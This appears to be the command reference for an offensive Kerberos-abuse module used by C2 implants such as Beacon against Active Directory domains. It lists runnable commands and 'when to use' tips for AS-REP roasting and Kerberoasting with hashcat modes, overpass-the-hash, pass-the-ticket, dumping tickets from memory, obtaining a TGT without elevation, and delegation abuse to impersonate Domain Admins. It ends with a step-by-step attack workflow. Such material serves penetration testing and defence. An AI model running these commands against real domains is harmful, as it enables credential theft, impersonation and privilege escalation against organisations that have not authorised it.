Kerbeus-BOF — Kerberos

The Kerbeus-BOF module provides a complete set of tools for abusing the Kerberos protocol in Active Directory environments. From roasting attacks for offline cracking to S4U delegation abuse and ticket manipulation.

All commands use the kerbeus prefix with /parameter:value argument syntax.

Compatible agents: Beacon, Gopher, Kharon
Platform: Windows

Roasting Attacks#

kerbeus asreproasting#

Performs an AS-REP Roasting attack against users with Kerberos pre-authentication disabled (DONT_REQ_PREAUTH).

When to use: During the reconnaissance phase, when you identify users with the DONT_REQ_PREAUTH flag. The obtained hash can be cracked offline with hashcat (mode 18200).

kerbeus asreproasting /user:svc_backup
kerbeus asreproasting /user:svc_backup /dc:DC01.corp.local
kerbeus asreproasting /user:svc_backup /domain:corp.local

kerbeus kerberoasting#

Performs a Kerberoasting attack to obtain the encrypted TGS of a service, crackable offline.

When to use: When you identify service accounts with registered SPNs. The TGS is encrypted with the service account hash, enabling offline cracking with hashcat (mode 13100 for RC4, 19700 for AES).

kerbeus kerberoasting /spn:MSSQLSvc/db01.corp.local:1433
kerbeus kerberoasting /spn:HTTP/web01.corp.local /ticket:doIF8DCCBey...
kerbeus kerberoasting /spn:MSSQLSvc/db01.corp.local /nopreauth:vulnuser /dc:DC01

Ticket Request and Management#

kerbeus asktgt#

Requests a Ticket Granting Ticket (TGT). Supports multiple authentication methods.

When to use: To obtain a TGT that you can then use to access services. It’s the Kerberos equivalent of “logging in”. Combined with /ptt, it injects the ticket directly into the session.

With password#

kerbeus asktgt /user:Administrator /password:P@ssw0rd! /enctype:aes256 /opsec /ptt

With AES256 hash (Pass-the-Key)#

kerbeus asktgt /user:Administrator /aes256:a1b2c3d4e5f6... /ptt

With RC4/NTLM hash (Overpass-the-Hash)#

kerbeus asktgt /user:Administrator /rc4:aabbccdd11223344... /ptt

Without pre-authentication#

kerbeus asktgt /user:vulnuser /nopreauth

* Exactly one of /password, /aes256, /rc4, or /nopreauth is required.

kerbeus asktgs#

Requests a Ticket Granting Service (TGS) using an existing TGT.

kerbeus asktgs /service:CIFS/dc01.corp.local /ticket:doIF8DCCBey... /ptt
kerbeus asktgs /service:CIFS/dc01.corp.local,HTTP/dc01.corp.local /ticket:doIF8... /opsec

kerbeus ptt#

Imports a Kerberos ticket into the current logon session (Pass-the-Ticket).

kerbeus ptt /ticket:doIF8DCCBey...
kerbeus ptt /ticket:doIF8DCCBey... /luid:0x3ea8

kerbeus describe#

Parses and describes the fields of a Kerberos ticket.

kerbeus describe /ticket:doIF8DCCBey...

kerbeus renew#

Renews an existing TGT.

kerbeus renew /ticket:doIF8DCCBey... /ptt

Ticket Listing and Cleanup#

kerbeus triage#

Lists cached tickets in table format. More readable than klist.

kerbeus triage
kerbeus triage /luid:0x3ea8
kerbeus triage /user:Administrator

kerbeus klist#

Lists cached tickets with full detail.

kerbeus klist
kerbeus klist /luid:0x3ea8

kerbeus dump#

Extracts complete tickets (including keys) from memory.

kerbeus dump
kerbeus dump /user:Administrator /service:krbtgt

Note: dump requires elevated privileges (SYSTEM or equivalent). klist and triage work without elevation for the current session.

kerbeus purge#

Deletes cached tickets from a logon session.

kerbeus purge
kerbeus purge /luid:0x3ea8

Utilities#

kerbeus hash#

Calculates Kerberos keys (RC4, AES128, AES256) from a password.

When to use: To convert a plaintext password into the different Kerberos hash formats needed for asktgt.

kerbeus hash /password:P@ssw0rd!
kerbeus hash /password:P@ssw0rd! /user:Administrator /domain:corp.local

kerbeus changepw#

Changes a user’s password using a valid TGT.

kerbeus changepw /ticket:doIF8DCCBey... /new:N3wP@ss!

kerbeus tgtdeleg#

Obtains a usable TGT for the current user without elevation by abusing the Kerberos GSS-API.

When to use: When you need an exportable TGT for the current user but don’t have administrative privileges to dump. This trick uses application delegation to obtain a reusable ticket.

kerbeus tgtdeleg
kerbeus tgtdeleg /target:CIFS/dc01.corp.local

Delegation Abuse#

kerbeus s4u#

Abuses Constrained Delegation via S4U2Self + S4U2Proxy to impersonate a user against a service.

When to use: When you compromise an account configured for constrained delegation (msDS-AllowedToDelegateTo). You can impersonate any user (including Domain Admins) against the allowed services.

kerbeus s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /service:CIFS/fileserver.corp.local /ptt
kerbeus s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /service:HTTP/web01.corp.local /altservice:CIFS /ptt

kerbeus cross_s4u#

Same as s4u but for cross-domain delegation.

kerbeus cross_s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /targetdomain:child.corp.local /targetdc:dc.child.corp.local /service:CIFS/server.child.corp.local

Typical Workflow#

# Reconnaissance
kerbeus triage                           → View cached tickets
kerbeus tgtdeleg                         → Get TGT without elevation

# Roasting
kerbeus asreproasting /user:svc_backup   → AS-REP Roast
kerbeus kerberoasting /spn:MSSQLSvc/...  → Kerberoast

# Pass-the-Hash/Key
kerbeus hash /password:P@ss              → Get Kerberos hashes
kerbeus asktgt /user:admin /rc4:HASH /ptt → Overpass-the-hash

# Delegation
kerbeus s4u /ticket:... /impersonateuser:Administrator /service:CIFS/... /ptt